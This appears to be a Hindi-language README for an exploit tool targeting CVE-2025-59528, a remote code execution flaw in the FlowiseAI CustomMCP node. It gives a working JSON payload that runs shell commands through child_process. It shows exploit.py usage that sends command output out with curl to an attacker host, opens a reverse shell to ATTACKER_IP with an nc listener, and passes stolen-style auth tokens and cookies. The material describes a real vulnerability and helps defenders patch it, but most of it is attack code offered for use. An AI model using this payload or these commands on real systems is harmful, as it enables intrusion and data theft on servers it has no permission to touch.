
CVE-2025-59528 - FlowiseAI CustomMCP रिमोट कोड निष्पादन
CVSS 10.0 (गंभीर) | ब्लाइंड RCE | FlowiseAI Flowise >= 2.2.7-patch.1 और < 3.0.6
FlowiseAI Flowise के CustomMCP नोड में एक गंभीर दूरस्थ कोड निष्पादन भेद्यता। convertToValidJSONString फ़ंक्शन mcpServerConfig पैरामीटर से उपयोगकर्ता-आपूर्ति किए गए इनपुट को सीधे JavaScript के Function() कंस्ट्रक्टर में पास करता है, जो कार्यात्मक रूप से eval() के समतुल्य है, जिससे पूर्ण Node.js रनटाइम विशेषाधिकारों के साथ मनमाना JavaScript कोड निष्पादन की अनुमति मिलती है।
Function() को से बदला गया)JSON5.parse()packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts में, पंक्तियाँ 262–270:
function convertToValidJSONString(inputString) {
return Function('return ' + inputString)(); // ← arbitrary code execution
}
टेंट प्रवाह:
HTTP POST → /api/v1/node-load-method/customMCP
→ controller.getSingleNodeAsyncOptions()
→ service layer
→ CustomMCP.listActions()
→ convertToValidJSONString(mcpServerConfig) // Function('return ' + userInput)()
यह एक ब्लाइंड RCE है, कमांड आउटपुट HTTP प्रतिक्रिया में प्रतिबिंबित नहीं होता। निष्पादन की पुष्टि के लिए कॉलबैक तकनीकों (curl/wget) या रिवर्स शेल का उपयोग करें।
| शर्त | विवरण |
|---|---|
| Flowise संस्करण | >= 2.2.7-patch.1, < 3.0.6 |
| नेटवर्क पहुंच | पोर्ट 3000 पर API एंडपॉइंट (डिफ़ॉल्ट) |
| प्रमाणीकरण | < 3.0.1 के लिए वैकल्पिक, >= 3.0.1 के लिए आवश्यक |
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "{x:(function(){const cp=process.mainModule.require('child_process');cp.exec('COMMAND',()=>{});return 1;})()}"
}
}
pip install requests
python3 exploit.py -t http://target:3000 --mode check --email [email protected] --password pass
# Exfiltrate output via callback
python3 exploit.py -t http://target:3000 --mode exec \
-c "curl http://ATTACKER:PORT/\$(id | base64)" \
--email [email protected] --password pass
# Start listener
nc -lvnp 4444
# Fire exploit (auto-tries bash, nc, python)
python3 exploit.py -t http://target:3000 --mode revshell \
--lhost ATTACKER_IP --lport 4444 \
--email [email protected] --password pass
# JWT auth (Flowise >= 3.0.1)
--email [email protected] --password pass
# Basic auth (Flowise < 3.0.1 with FLOWISE_USERNAME env)
--username admin --password pass
# Raw cookie string (fallback)
--cookie "token=eyJ...;refreshToken=eyJ...;connect.sid=s%3A..."
/api/v1/node-load-method/customMCP पर POST अनुरोधों के लिए लॉगयह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें।